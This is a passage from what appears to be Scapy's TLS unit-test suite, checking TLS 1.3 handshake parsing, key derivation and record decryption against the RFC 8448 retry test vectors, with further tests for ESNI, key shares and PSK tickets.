TLS_Ext_KeyShare_HRR\nfrom scapy.layers.tls.extensions import TLS_Ext_Cookie\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives import hashes\n# Value from RFC8448, section 5\nhelloRetryRequest = clean(\"\"\"\n         16 03 03 00 b0 02 00 00 ac 03 03 cf\n         21 ad 74 e5 9a 61 11 be 1d 8c 02 1e 65 b8 91 c2 a2 11 16 7a bb\n         8c 5e 07 9e 09 e2 c8 a8 33 9c 00 13 01 00 00 84 00 33 00 02 00\n         17 00 2c 00 74 00 72 71 dc d0 4b b8 8b c3 18 91 19 39 8a 00 00\n         00 00 ee fa fc 76 c1 46 b8 23 b0 96 f8 aa ca d3 65 dd 00 30 95\n         3f 4e df 62 56 36 e5 f2 1b b2 e2 3f cc 65 4b 1b 5b 40 31 8d 10\n         d1 37 ab cb b8 75 74 e3 6e 8a 1f 02 5f 7d fa 5d 6e 50 78 1b 5e\n         da 4a a1 5b 0c 8b e7 78 25 7d 16 aa 30 30 e9 e7 84 1d d9 e4 c0\n         34 22 67 e8 ca 0c af 57 1f b2 b7 cf f0 f9 34 b0 00 2b 00 02 03\n         04\n   \"\"\")\n\nt = TLS(helloRetryRequest, tls_session=t.tls_session.mirror())\nassert len(t.msg) == 1\nassert t.msg[0].msgtype == 2\ndigest = hashes.Hash(hashes.SHA256(), backend=default_backend())\ndigest.update(b\"HelloRetryRequest\")\nassert t.msg[0].random_bytes == digest.finalize()\nassert t.msg[0].extlen == 132\nassert len(t.msg[0].ext) == 3\ne = t.msg[0].ext\nassert isinstance(e[0], TLS_Ext_KeyShare_HRR)\nassert e[0].type == 51\nassert e[0].len == 2\nassert e[0].selected_group == 23\nassert isinstance(e[1], TLS_Ext_Cookie)\nassert e[1].type == 44\nassert e[1].len == 116\nassert e[1].cookielen == 114\nassert e[1].cookie == b'q\\xdc\\xd0K\\xb8\\x8b\\xc3\\x18\\x91\\x199\\x8a\\x00\\x00\\x00\\x00\\xee\\xfa\\xfcv\\xc1F\\xb8#\\xb0\\x96\\xf8\\xaa\\xca\\xd3e\\xdd\\x000\\x95?N\\xdfbV6\\xe5\\xf2\\x1b\\xb2\\xe2?\\xcceK\\x1b[@1\\x8d\\x10\\xd17\\xab\\xcb\\xb8ut\\xe3n\\x8a\\x1f\\x02_}\\xfa]nPx\\x1b^\\xdaJ\\xa1[\\x0c\\x8b\\xe7x%}\\x16\\xaa00\\xe9\\xe7\\x84\\x1d\\xd9\\xe4\\xc04\"g\\xe8\\xca\\x0c\\xafW\\x1f\\xb2\\xb7\\xcf\\xf0\\xf94\\xb0'\nassert isinstance(e[2], TLS_Ext_SupportedVersion_SH)\n\n\n= Decrypt a TLS 1.3 session with a retry - Parse second ClientHello\n\nfrom scapy.layers.tls.extensions import TLS_Ext_Padding\n# Values from RFC8448, section 5\nsecp256_clt_pub = clean(\"\"\"\n         04 a6 da 73 92 ec 59 1e 17 ab fd 53 59 64\n         b9 98 94 d1 3b ef b2 21 b3 de f2 eb e3 83 0e ac 8f 01 51 81 26\n         77 c4 d6 d2 23 7e 85 cf 01 d6 91 0c fb 83 95 4e 76 ba 73 52 83\n         05 34 15 98 97 e8 06 57 80\n   \"\"\")\n\nsecp256_clt_priv = clean(\"\"\"\n         ab 54 73 46 7e 19 34 6c eb 0a 04 14 e4\n         1d a2 1d 4d 24 45 bc 30 25 af e9 7c 4e 8d c8 d5 13 da 39\n   \"\"\")\n\nclientHello2 = clean(\"\"\"\n         16 03 03 02 00 01 00 01 fc 03 03 b0\n         b1 c5 a5 aa 37 c5 91 9f 2e d1 d5 c6 ff f7 fc b7 84 97 16 94 5a\n         2b 8c ee 92 58 a3 46 67 7b 6f 00 00 06 13 01 13 03 13 02 01 00\n         01 cd 00 00 00 0b 00 09 00 00 06 73 65 72 76 65 72 ff 01 00 01\n         00 00 0a 00 08 00 06 00 1d 00 17 00 18 00 33 00 47 00 45 00 17\n         00 41 04 a6 da 73 92 ec 59 1e 17 ab fd 53 59 64 b9 98 94 d1 3b\n         ef b2 21 b3 de f2 eb e3 83 0e ac 8f 01 51 81 26 77 c4 d6 d2 23\n         7e 85 cf 01 d6 91 0c fb 83 95 4e 76 ba 73 52 83 05 34 15 98 97\n         e8 06 57 80 00 2b 00 03 02 03 04 00 0d 00 20 00 1e 04 03 05 03\n         06 03 02 03 08 04 08 05 08 06 04 01 05 01 06 01 02 01 04 02 05\n         02 06 02 02 02 00 2c 00 74 00 72 71 dc d0 4b b8 8b c3 18 91 19\n         39 8a 00 00 00 00 ee fa fc 76 c1 46 b8 23 b0 96 f8 aa ca d3 65\n         dd 00 30 95 3f 4e df 62 56 36 e5 f2 1b b2 e2 3f cc 65 4b 1b 5b\n         40 31 8d 10 d1 37 ab cb b8 75 74 e3 6e 8a 1f 02 5f 7d fa 5d 6e\n         50 78 1b 5e da 4a a1 5b 0c 8b e7 78 25 7d 16 aa 30 30 e9 e7 84\n         1d d9 e4 c0 34 22 67 e8 ca 0c af 57 1f b2 b7 cf f0 f9 34 b0 00\n         2d 00 02 01 01 00 1c 00 02 40 01 00 15 00 af 00 00 00 00 00 00\n         00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n         00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n         00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n         00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n         00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n         00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n         00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n         00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n         00\n   \"\"\")\n\nt = TLS(clientHello2, tls_session=t.tls_session.mirror())\nassert len(t.msg) == 1\nassert t.msg[0].msgtype == 1\nassert t.msg[0].extlen == 461\nassert len(t.msg[0].ext) == 10\ne = t.msg[0].ext\nassert isinstance(e[0], TLS_Ext_ServerName)\nassert isinstance(e[1], TLS_Ext_RenegotiationInfo)\nassert isinstance(e[2], TLS_Ext_SupportedGroups)\nassert isinstance(e[3],TLS_Ext_KeyShare_CH)\nassert len(e[3].client_shares) == 1\nassert e[3].client_shares[0].group == 23\nassert e[3].client_shares[0].key_exchange == secp256_clt_pub\nassert isinstance(e[4], TLS_Ext_SupportedVersion_CH)\nassert isinstance(e[5], TLS_Ext_SignatureAlgorithms)\nassert isinstance(e[6], TLS_Ext_Cookie)\nassert e[6].cookie == b'q\\xdc\\xd0K\\xb8\\x8b\\xc3\\x18\\x91\\x199\\x8a\\x00\\x00\\x00\\x00\\xee\\xfa\\xfcv\\xc1F\\xb8#\\xb0\\x96\\xf8\\xaa\\xca\\xd3e\\xdd\\x000\\x95?N\\xdfbV6\\xe5\\xf2\\x1b\\xb2\\xe2?\\xcceK\\x1b[@1\\x8d\\x10\\xd17\\xab\\xcb\\xb8ut\\xe3n\\x8a\\x1f\\x02_}\\xfa]nPx\\x1b^\\xdaJ\\xa1[\\x0c\\x8b\\xe7x%}\\x16\\xaa00\\xe9\\xe7\\x84\\x1d\\xd9\\xe4\\xc04\"g\\xe8\\xca\\x0c\\xafW\\x1f\\xb2\\xb7\\xcf\\xf0\\xf94\\xb0'\nassert isinstance(e[7], TLS_Ext_PSKKeyExchangeModes)\nassert e[7].kxmodeslen == 1\nassert len(e[7].kxmodes) == 1\nassert e[7].kxmodes[0] == 1\nassert isinstance(e[8], TLS_Ext_RecordSizeLimit)\nassert isinstance(e[9], TLS_Ext_Padding)\nassert e[9].len == 175\nassert e[9].padding == 175*b'\\x00'\n\n= Decrypt a TLS 1.3 session with a retry - Parse ServerHello\nfrom cryptography.hazmat.primitives.asymmetric.ec import EllipticCurvePrivateNumbers\npubnum = t.tls_session.tls13_client_pubshares[\"secp256r1\"].public_numbers()\nprivnum = EllipticCurvePrivateNumbers(pkcs_os2ip(secp256_clt_priv), pubnum)\nprivkey = privnum.private_key(default_backend())\nt.tls_session.tls13_client_privshares[\"secp256r1\"] = privkey\n\nserverHello = clean(\"\"\"\n         16 03 03 00 7b 02 00 00 77 03 03 bb\n         34 1d 84 7f d7 89 c4 7c 38 71 72 dc 0c 9b f1 47 fc ca cb 50 43\n         d8 6c a4 c5 98 d3 ff 57 1b 98 00 13 01 00 00 4f 00 33 00 45 00\n         17 00 41 04 58 3e 05 4b 7a 66 67 2a e0 20 ad 9d 26 86 fc c8 5b\n         5a d4 1a 13 4a 0f 03 ee 72 b8 93 05 2b d8 5b 4c 8d e6 77 6f 5b\n         04 ac 07 d8 35 40 ea b3 e3 d9 c5 47 bc 65 28 c4 31 7d 29 46 86\n         09 3a 6c ad 7d 00 2b 00 02 03 04\n   \"\"\")\n\nt = TLS(serverHello, tls_session=t.tls_session.mirror())\nassert len(t.msg) == 1\nassert isinstance(t.msg[0], TLS13ServerHello)\nassert len(t.msg[0].ext) == 2\ne = t.msg[0].ext\nassert isinstance(e[0], TLS_Ext_KeyShare_SH)\nassert e[0].server_share.group == 23\nassert e[0].server_share.key_exchange == secp256_srv_pub\nassert isinstance(e[1], TLS_Ext_SupportedVersion_SH)\n\n= Decrypt a TLS 1.3 session with a retry - Handshake traffic secret derivation\n\n# Values from RFC8448, section 5\nearly_secret = clean(\"\"\"\n         33 ad 0a 1c 60 7e c0 3b 09 e6 cd 98 93 68 0c\n         e2 10 ad f3 00 aa 1f 26 60 e1 b2 2e 10 f1 70 f9 2a\n   \"\"\")\n\necdhe_secret = clean(\"\"\"\n         c1 42 ce 13 ca 11 b5 c2 23 36 52 e6 3a d3 d9 78\n         44 f1 62 1f bf b9 de 69 d5 47 dc 8f ed ea be b4\n   \"\"\")\n\nhandshake_secret = clean(\"\"\"\n         ce 02 2e 5e 6e 81 e5 07 36 d7 73 f2 d3 ad fc\n         e8 22 0d 04 9b f5 10 f0 db fa c9 27 ef 42 43 b1 48\n   \"\"\")\n\nclient_handshake_traffic_secret = clean(\"\"\"\n         15 8a a7 ab 88 55 07 35 82 b4 1d 67 4b 40\n         55 ca bc c5 34 72 8f 65 93 14 86 1b 4e 08 e2 01 15 66\n   \"\"\")\n\nserver_handshake_traffic_secret = clean(\"\"\"\n         34 03 e7 81 e2 af 7b 65 08 da 28 57 4f 6e\n         95 a1 ab f1 62 de 83 a9 79 27 c3 76 72 a4 a0 ce f8 a1\n   \"\"\")\n\nassert len(t.tls_session.tls13_derived_secrets) == 5\nassert t.tls_session.tls13_early_secret is not None\nassert t.tls_session.tls13_early_secret == early_secret\nassert t.tls_session.tls13_dhe_secret == ecdhe_secret\nassert t.tls_session.tls13_handshake_secret is not None\nassert t.tls_session.tls13_handshake_secret == handshake_secret\nassert  'client_handshake_traffic_secret' in t.tls_session.tls13_derived_secrets\nassert  t.tls_session.tls13_derived_secrets['client_handshake_traffic_secret'] == client_handshake_traffic_secret\nassert  'server_handshake_traffic_secret' in t.tls_session.tls13_derived_secrets\nassert t.tls_session.tls13_derived_secrets['server_handshake_traffic_secret'] == server_handshake_traffic_secret\n\n\n= Decrypt a TLS 1.3 session with a retry - Server handshake traffic key calculation\n# Values from RFC8448, section 5\nserver_hs_traffic_key = clean(\"\"\"\n         46 46 bf ac 17 12 c4 26 cd 78 d8 a2 4a\n         8a 6f 6b\n   \"\"\")\nserver_hs_traffic_iv = clean(\"\"\"\n         c7 d3 95 c0 8d 62 f2 97 d1 37 68 ea\n   \"\"\")\n\nassert t.tls_session.prcs.cipher.key == server_hs_traffic_key\nassert t.tls_session.prcs.cipher.fixed_iv == server_hs_traffic_iv\n\n\n= Decrypt a TLS 1.3 session with a retry - Decrypt and parse server handshake \n# Values from RFC8448, section 5\nserverEncHS = clean(\"\"\"\n         17 03 03 02 96 99 be e2 0b af 5b 7f\n         c7 27 bf ab 62 23 92 8a 38 1e 6d 0c f9 c4 da 65 3f 9d 2a 7b 23\n         f7 de 11 cc e8 42 d5 cf 75 63 17 63 45 0f fb 8b 0c c1 d2 38 e6\n         58 af 7a 12 ad c8 62 43 11 4a b1 4a 1d a2 fa e4 26 21 ce 48 3f\n         b6 24 2e ab fa ad 52 56 6b 02 b3 1d 2e dd ed ef eb 80 e6 6a 99\n         00 d5 f9 73 b4 0c 4f df 74 71 9e cf 1b 68 d7 f9 c3 b6 ce b9 03\n         ca 13 dd 1b b8 f8 18 7a e3 34 17 e1 d1 52 52 2c 58 22 a1 a0 3a\n         d5 2c 83 8c 55 95 3d 61 02 22 87 4c ce 8e 17 90 b2 29 a2 aa 0b\n         53 c8 d3 77 ee 72 01 82 95 1d c6 18 1d c5 d9 0b d1 f0 10 5e d1\n         e8 4a a5 f7 59 57 c6 66 18 97 07 9e 5e a5 00 74 49 e3 19 7b dc\n         7c 9b ee ed dd ea fd d8 44 af a5 c3 15 ec fe 65 e5 76 af e9 09\n         81 28 80 62 0e c7 04 8b 42 d7 f5 c7 8d 76 f2 99 d6 d8 25 34 bd\n         d8 f5 12 fe bc 0e d3 81 4a ca 47 0c d8 00 0d 3e 1c b9 96 2b 05\n         2f bb 95 0d f6 83 a5 2c 2b a7 7e d3 71 3b 12 29 37 a6 e5 17 09\n         64 e2 ab 79 69 dc d9 80 b3 db 9b 45 8d a7 60 31 24 d6 dc 00 5e\n         4d 6e 04 b4 d0 c4 ba f3 27 5d b8 27 db ba 0a 6d b0 96 72 17 1f\n         c0 57 b3 85 1d 7e 02 68 41 e2 97 8f bd 23 46 bb ef dd 03 76 bb\n         11 08 fe 9a cc 92 18 9f 56 50 aa 5e 85 d8 e8 c7 b6 7a c5 10 db\n         a0 03 d3 d7 e1 63 50 bb 66 d4 50 13 ef d4 4c 9b 60 7c 0d 31 8c\n         4c 7d 1a 1f 5c bc 57 e2 06 11 80 4e 37 87 d7 b4 a4 b5 f0 8e d8\n         fd 70 bd ae ad e0 22 60 b1 2a b8 42 ef 69 0b 4a 3e e7 91 1e 84\n         1b 37 4e cd 5e bb bc 2a 54 d0 47 b6 00 33 6d d7 d0 c8 8b 4b c1\n         0e 58 ee 6c b6 56 de 72 47 fa 20 d8 e9 1d eb 84 62 86 08 cf 80\n         61 5b 62 e9 6c 14 91 c7 ac 37 55 eb 69 01 40 5d 34 74 fe 1a c7\n         9d 10 6a 0c ee 56 c2 57 7f c8 84 80 f9 6c b6 b8 c6 81 b7 b6 8b\n         53 c1 46 09 39 08 f3 50 88 81 75 bd fb 0b 1e 31 ad 61 e3 0b a0\n         ad fe 6d 22 3a a0 3c 07 83 b5 00 1a 57 58 7c 32 8a 9a fc fc fb\n         97 8d 1c d4 32 8f 7d 9d 60 53 0e 63 0b ef d9 6c 0c 81 6e e2 0b\n         01 00 76 8a e2 a6 df 51 fc 68 f1 72 74 0a 79 af 11 39 8e e3 be\n         12 52 49 1f a9 c6 93 47 9e 87 7f 94 ab 7c 5f 8c ad 48 02 03 e6\n         ab 7b 87 dd 71 e8 a0 72 91 13 df 17 f5 ee e8 6c e1 08 d1 d7 20\n         07 ec 1c d1 3c 85 a6 c1 49 62 1e 77 b7 d7 8d 80 5a 30 f0 be 03\n         0c 31 5e 54\n   \"\"\")\n\nserver_finished = clean(\"\"\"\n         88 63 e6 bf b0 42 0a 92 7f a2 7f 34 33 6a\n         70 ae 42 6e 96 8e 3e b8 84 94 5b 96 85 6d ba 39 76 d1\n   \"\"\")\n\nt = TLS13(serverEncHS, tls_session=t.tls_session)\nassert t.deciphered_len == 646\nassert len(t.inner.msg) == 4\nm = t.inner.msg\nassert isinstance(m[0], TLSEncryptedExtensions)\nassert len(m[0].ext) == 3\nassert isinstance(m[0].ext[0], TLS_Ext_SupportedGroups)\nassert isinstance(m[0].ext[1], TLS_Ext_RecordSizeLimit)\nassert isinstance(m[0].ext[2], TLS_Ext_ServerName)\nassert isinstance(m[1], TLS13Certificate)\nassert isinstance(m[2], TLSCertificateVerify)\nassert isinstance(m[3], TLSFinished)\nassert m[3].vdata == server_finished\n\n= Decrypt a TLS 1.3 session with a retry - Client handshake traffic key calculation\n# Values from RFC8448, section 5\nclient_hs_traffic_key = clean(\"\"\"\n         2f 1f 91 86 63 d5 90 e7 42 11 49 a2 9d\n         94 b0 b6\n   \"\"\")\nclient_hs_traffic_iv = clean(\"\"\"\n         41 4d 54 85 23 5e 1a 68 87 93 bd 74\n   \"\"\")\n\nassert t.tls_session.pwcs.cipher.key == client_hs_traffic_key\nassert t.tls_session.pwcs.cipher.fixed_iv == client_hs_traffic_iv\n\n\n= Decrypt a TLS 1.3 session with a retry - Decrypt and parse client finished\n# Values from RFC8448, section 5\nclientFinished = clean(\"\"\"\n         23 f5 2f db 07 09 a5 5b d7 f7 9b 99 1f 25\n         48 40 87 bc fd 4d 43 80 b1 23 26 a5 2a 28 b2 e3 68 e1\n   \"\"\")\n\nclientEncHS = clean(\"\"\"\n         17 03 03 00 35 d7 4f 19 23 c6 62 fd\n         34 13 7c 6f 50 2f 3d d2 b9 3d 95 1d 1b 3b c9 7e 42 af e2 3c 31\n         ab ea 92 fe 91 b4 74 99 9e 85 e3 b7 91 ce 25 2f e8 c3 e9 f9 39\n         a4 12 0c b2\n   \"\"\")\n\nt = TLS13(clientEncHS, tls_session=t.tls_session.mirror())\nassert t.deciphered_len == 37\nassert len(t.inner.msg) == 1\nassert isinstance(t.inner.msg[0], TLSFinished)\nassert t.inner.msg[0].vdata == clientFinished\nassert t.inner.type == 22\n\n= Decrypt a TLS 1.3 session with a retry - Application traffic secret derivation \n# Values from RFC8448, section 5\nmaster_secret = clean(\"\"\"\n         11 31 54 5d 0b af 79 dd ce 9b 87 f0 69 45 78\n         1a 57 dd 18 ef 37 8d cd 20 60 f8 f9 a5 69 02 7e d8\n   \"\"\")\n\nclient_application_traffic_secret_0 = clean(\"\"\"\n         75 ec f4 b9 72 52 5a a0 dc d0 57 c9 94 4d\n         4c d5 d8 26 71 d8 84 31 41 d7 dc 2a 4f f1 5a 21 dc 51\n   \"\"\")\n\nserver_application_traffic_secret_0 = clean(\"\"\"\n         5c 74 f8 7d f0 42 25 db 0f 82 09 c9 de 64\n         29 e4 94 35 fd ef a7 ca d6 18 64 87 4d 12 f3 1c fc 8d\n   \"\"\")\n\nexporter_master_secret = clean(\"\"\"\n      7c 06 d3 ae 10 6a 3a 37 4a ce 48 37 b3 98\n      5c ac 67 78 0a 6e 2c 5c 04 b5 83 19 d5 84 df 09 d2 23\n   \"\"\")\n\nresumption_master_secret = clean(\"\"\"\n      09 17 0c 6d 47 27 21 56 6f 9c f9 9b 08 69\n      9d af f5 61 ec 8f b2 2d 5a 32 c3 f9 4c e0 09 b6 99 75\n   \"\"\")\n\n\nassert t.tls_session.tls13_master_secret is not None\nassert t.tls_session.tls13_master_secret == master_secret\n\nassert len(t.tls_session.tls13_derived_secrets) == 9\nassert 'client_traffic_secrets' in  t.tls_session.tls13_derived_secrets\nassert len(t.tls_session.tls13_derived_secrets['client_traffic_secrets']) == 1\nassert t.tls_session.tls13_derived_secrets['client_traffic_secrets'][0] == client_application_traffic_secret_0\n\nassert 'server_traffic_secrets' in  t.tls_session.tls13_derived_secrets\nassert len(t.tls_session.tls13_derived_secrets['server_traffic_secrets']) == 1\nassert t.tls_session.tls13_derived_secrets['server_traffic_secrets'][0] == server_application_traffic_secret_0\n\nassert 'exporter_secret' in t.tls_session.tls13_derived_secrets\nassert t.tls_session.tls13_derived_secrets['exporter_secret'] == exporter_master_secret\n\nassert 'resumption_secret' in t.tls_session.tls13_derived_secrets\nassert t.tls_session.tls13_derived_secrets['resumption_secret'] == resumption_master_secret\n\n= Decrypt a TLS 1.3 session with a retry - Application traffic keys calculation \n# Values from RFC8448, section 5\nclient_ap_traffic_key = clean(\"\"\"\n         a7 eb 2a 05 25 eb 43 31 d5 8f cb f9 f7\n         ca 2e 9c\n   \"\"\")\n\nclient_ap_traffic_iv = clean(\"\"\"\n         86 e8 be 22 7c 1b d2 b3 e3 9c b4 44\n   \"\"\")\n\nserver_ap_traffic_key = clean(\"\"\"\n         f2 7a 5d 97 bd 25 55 0c 48 23 b0 f3 e5\n         d2 93 88\n   \"\"\")\n\nserver_ap_traffic_iv = clean(\"\"\"\n         0d d6 31 f7 b7 1c bb c7 97 c3 5f e7\n   \"\"\")\n\nassert t.tls_session.rcs.cipher.key == client_ap_traffic_key\nassert t.tls_session.rcs.cipher.fixed_iv == client_ap_traffic_iv\nassert t.tls_session.wcs.cipher.key == server_ap_traffic_key\nassert t.tls_session.wcs.cipher.fixed_iv == server_ap_traffic_iv\n\n= Decrypt a TLS 1.3 session with a retry - Decrypt and parse client Alert \n# Values from RFC8448, section 5\nclientEncAlert = clean(\"\"\"\n         17 03 03 00 13 2e a6 cd f7 49 19 60\n         23 e2 b3 a4 94 91 69 55 36 42 60 47\n   \"\"\")\n\nt = TLS13(clientEncAlert, tls_session = t.tls_session)\nassert t.deciphered_len == 3\nassert len(t.inner.msg) == 1\nassert t.inner.type == 21\nm = t.inner.msg[0]\nassert isinstance(m, TLSAlert)\nassert m.level == 1\nassert m.descr == 0\n\n\n= Decrypt a TLS 1.3 session with a retry - Decrypt and parse server Alert \n# Values from RFC8448, section 5\nserverEncAlert = clean(\"\"\"\n         17 03 03 00 13 51 9f c5 07 5c b0 88\n         43 49 75 9f f9 ef 6f 01 1b b4 c6 f2\n   \"\"\")\n\nt = TLS13(serverEncAlert, tls_session = t.tls_session.mirror())\nassert t.deciphered_len == 3\nassert len(t.inner.msg) == 1\nassert t.inner.type == 21\nm = t.inner.msg[0]\nassert isinstance(m, TLSAlert)\nassert m.level == 1\nassert m.descr == 0\n\n# --- Misc\n\n= TLS_Ext_EncryptedServerName(), dissect\n~ crypto_advanced\n\nfrom scapy.layers.tls.extensions import TLS_Ext_EncryptedServerName\n\nclientHello3 = clean(\"\"\"\n16030102c4010002c003034b1 40e7d15fc8db422cec056fbaf 0285d306df4eedad1bc6ea57d 5114e6bd52a20a5b9c7445955 e296b886469c974648cda0a68\n5d3c06d884e388f6475c32e03 2d0024130113031302c02bc02 fcca9cca8c02cc030c00ac009 c013c01400330039002f00350 00a0100025300170000ff0100\n0100000a000e000c001d00170 018001901000101000b000201 00002300000010000b0009086 87474702f312e310005000501 000000000033006b0069001d0\n02037adee0aacc37b08d47222 caf6a5097a800fcf8406ae118 38f6348294d2dde1200170041 048b127c905d6d487a40b8b19 c99c56aa1a8c208218c178dae\n02568547b2ce8f538a530b858 a7a2f608d66e148baa5693d03 c519b45017c63f48c5a4c1238 707bc002b0009080304030303 020301000d001800160403050\n3060308040805080604010501 060102030201002d00020101f fce016e1301001d0020912e86 b776ee552a6bb1e2c70d7b467 770b190432237cc743a93091d\nce24623500208bc16fdcbbc7c 8756808c94f70464d68297975 f33be90e1a200633f5eb2d4c6 101249e073bff833782e57e88 2519a53ef8bde4c94a7878a2f\n8461aec57802440007c7b2dab 986d9bc79257ce00ca6a998b1 fadb0114161069d364ccebae8 dab6c88151f297daeaecfd2e1 a598a486e2efc9561298f8dd5\nf35d184f0e87768777d253e68 952b730a24b342fde10df4f8e 82afdc2f10c2481634d92015d 9d5e6a9566494735d9c079115 bdeb0cd019098d1cf847c53ef\n4aac41560cacdc7ce166399df 5b0c0af91d5be3f7d8224755a aa6046de52875f9ef9ac15372 7ce08019bc2648beb4b1418cb 4979ff7eaeedaec2b15695508\n4d5a480cb939fdc7f00e6cc6f c0f9675276a9d607686c4d779 d4bb7544fb60c7f3079afbc74 61ed67fd55a78c44d6f8d4eaf 386acc17dea11e37a09f63da3\nd059243b35f449e891255ac7b 4f631509d7060f001c0002400 1\n\"\"\")\nt = TLS(clientHello3)\nclientESNI = t.msg[0].ext[11]\nassert isinstance(clientESNI, TLS_Ext_EncryptedServerName) and clientESNI.cipher == 4865\n\n\n= TLS_Ext_EncryptedServerName(),  basic instantiation\n~ crypto_advanced\n\nesni = TLS_Ext_EncryptedServerName(key_exchange_group=29,encrypted_sni=clean(\"\"\"\nffce016e1301001d00209 12e86b776ee552a6bb1e2 c70d7b467770b19043223 7cc743a93091dce246235\n00208bc16fdcbbc7c8756 808c94f70464d68297975 f33be90e1a200633f5eb2 d4c6101249e073bff8337\n82e57e882519a53ef8bde 4c94a7878a2f8461aec57 802440007c7b2dab986d9 bc79257ce00ca6a998b1f\nadb0114161069d364cceb ae8dab6c88151f297daea ecfd2e1a598a486e2efc9 561298f8dd5f35d184f0e\n87768777d253e68952b73 0a24b342fde10df4f8e82 afdc2f10c2481634d9201 5d9d5e6a9566494735d9c\n079115bdeb0cd019098d1 cf847c53ef4aac41560ca cdc7ce166399df5b0c0af 91d5be3f7d8224755aaa6\n046de52875f9ef9ac1537 27ce08019bc2648beb4b1 418cb4979ff7eaeedaec2 b156955084d5a480cb939\nfdc7f00e6cc6fc0f96752 76a9d607686c4d779d4bb 7544fb60c7f3079afbc74 61ed67fd55a78c44d6f8d\n4eaf386acc17dea11e37a 09f63da3d059243b35f44 9e891255ac7b4f631509d 7060f\n\"\"\"))\nassert esni.key_exchange_group == 29 and esni.encrypted_sni==clean(\"\"\"\nffce016e1301001d00209 12e86b776ee552a6bb1e2 c70d7b467770b19043223 7cc743a93091dce246235\n00208bc16fdcbbc7c8756 808c94f70464d68297975 f33be90e1a200633f5eb2 d4c6101249e073bff8337\n82e57e882519a53ef8bde 4c94a7878a2f8461aec57 802440007c7b2dab986d9 bc79257ce00ca6a998b1f\nadb0114161069d364cceb ae8dab6c88151f297daea ecfd2e1a598a486e2efc9 561298f8dd5f35d184f0e\n87768777d253e68952b73 0a24b342fde10df4f8e82 afdc2f10c2481634d9201 5d9d5e6a9566494735d9c\n079115bdeb0cd019098d1 cf847c53ef4aac41560ca cdc7ce166399df5b0c0af 91d5be3f7d8224755aaa6\n046de52875f9ef9ac1537 27ce08019bc2648beb4b1 418cb4979ff7eaeedaec2 b156955084d5a480cb939\nfdc7f00e6cc6fc0f96752 76a9d607686c4d779d4bb 7544fb60c7f3079afbc74 61ed67fd55a78c44d6f8d\n4eaf386acc17dea11e37a 09f63da3d059243b35f44 9e891255ac7b4f631509d 7060f\n\"\"\")\n\n= Create TLS_Ext_KeyShare_CH: compute several algorithms\n\nfrom scapy.layers.tls.keyexchange_tls13 import TLS_Ext_KeyShare_CH, KeyShareEntry\n\n# x25519\nch = TLS_Ext_KeyShare_CH(client_shares=[KeyShareEntry(group=\"x25519\")])\nch = TLS_Ext_KeyShare_CH(bytes(ch))\n\nassert ch.len == 38\nassert ch.client_shares[0].kxlen == 32\nassert len(ch.client_shares[0].key_exchange) == 32\n\n# ffdhe2048\nch = TLS_Ext_KeyShare_CH(client_shares=[KeyShareEntry(group=\"ffdhe2048\")])\nch = TLS_Ext_KeyShare_CH(bytes(ch))\n\nassert ch.len == 262\nassert ch.client_shares[0].kxlen == 256\nassert len(ch.client_shares[0].key_exchange) == 256\n\n# secp384r1\nch = TLS_Ext_KeyShare_CH(client_shares=[KeyShareEntry(group=\"secp384r1\")])\nch = TLS_Ext_KeyShare_CH(bytes(ch))\n\nassert ch.len == 103\nassert ch.client_shares[0].kxlen == 97\nassert len(ch.client_shares[0].key_exchange) == 97\n\n= Parse TLS 1.3 Client Hello with non-rfc 5077 ticket\n\nfrom scapy.layers.tls.keyexchange_tls13 import TLS_Ext_PreSharedKey_CH\n\nch = TLS(b'\\x16\\x03\\x01\\x01\\x1a\\x01\\x00\\x01\\x16\\x03\\x03\\xec\\x9c>\\xb2\\x9e|B\\x05\\x17f\\x86\\xc8\\x18\\x0421\\x87\\x87\\x12\\xf6\\xec\\xa2J\\x95\\x84[\\xf8\\xab\\xe9gK> \\xc6%\\xff&wn)\\xb2\\xf5\\xe8_x\\x96\\xe9\\nEsK\\xda\\x86o\\x82f\\xa5\\xbadk\\xf4Ar~}\\x00\\x08\\x13\\x02\\x13\\x03\\x13\\x01\\x00\\xff\\x01\\x00\\x00\\xc5\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x16\\x00\\x14\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x01\\x00\\x01\\x01\\x01\\x02\\x01\\x03\\x01\\x04\\x00#\\x00\\x00\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x00\\r\\x00\\x1e\\x00\\x1c\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x00+\\x00\\x03\\x02\\x03\\x04\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 l\\x19\\xe1f1 )6\\xbf\\x91\\x9e\\xab\\xd2\\x06\\x16\\x0b|\\x88\\xf7,\\xf1\\x88\\x99Z\\xb6\\xb3\\x93\\xe4\\x08z\\x8a\\t\\x00)\\x00:\\x00\\x15\\x00\\x0fClient_identity\\x00\\x00\\x00\\x00\\x00! m\\xf3^\\xc1l\\xac5\\xf2\\xe3=\\xeb\\xe3\\x81\\xd3\\xb3\\xdd\\xbd\\xbd\\x01\\xc9\\xdd\\x01i\\x8c1\\xa0ye\\xcd\\x04\\x9e\\x9c')\n\nassert isinstance(ch.msg[0].ext[9], TLS_Ext_PreSharedKey_CH)\nassert ch.msg[0].ext[9].identities[0].identity.load == b'Client_identity'\nassert ch.msg[0].ext[9].identities[0].obfuscated_ticket_age == 0\n\n+ QUIC Transport Parameters\n\n= QUIC Transport Parameters - Parse hex stream\n~ quic\n\nfrom scapy.layers.tls.quic import *\nfrom scapy.layers.tls.all import TLS13ClientHello, TLS_Ext_QUICTransportParameters\n\nch_data = 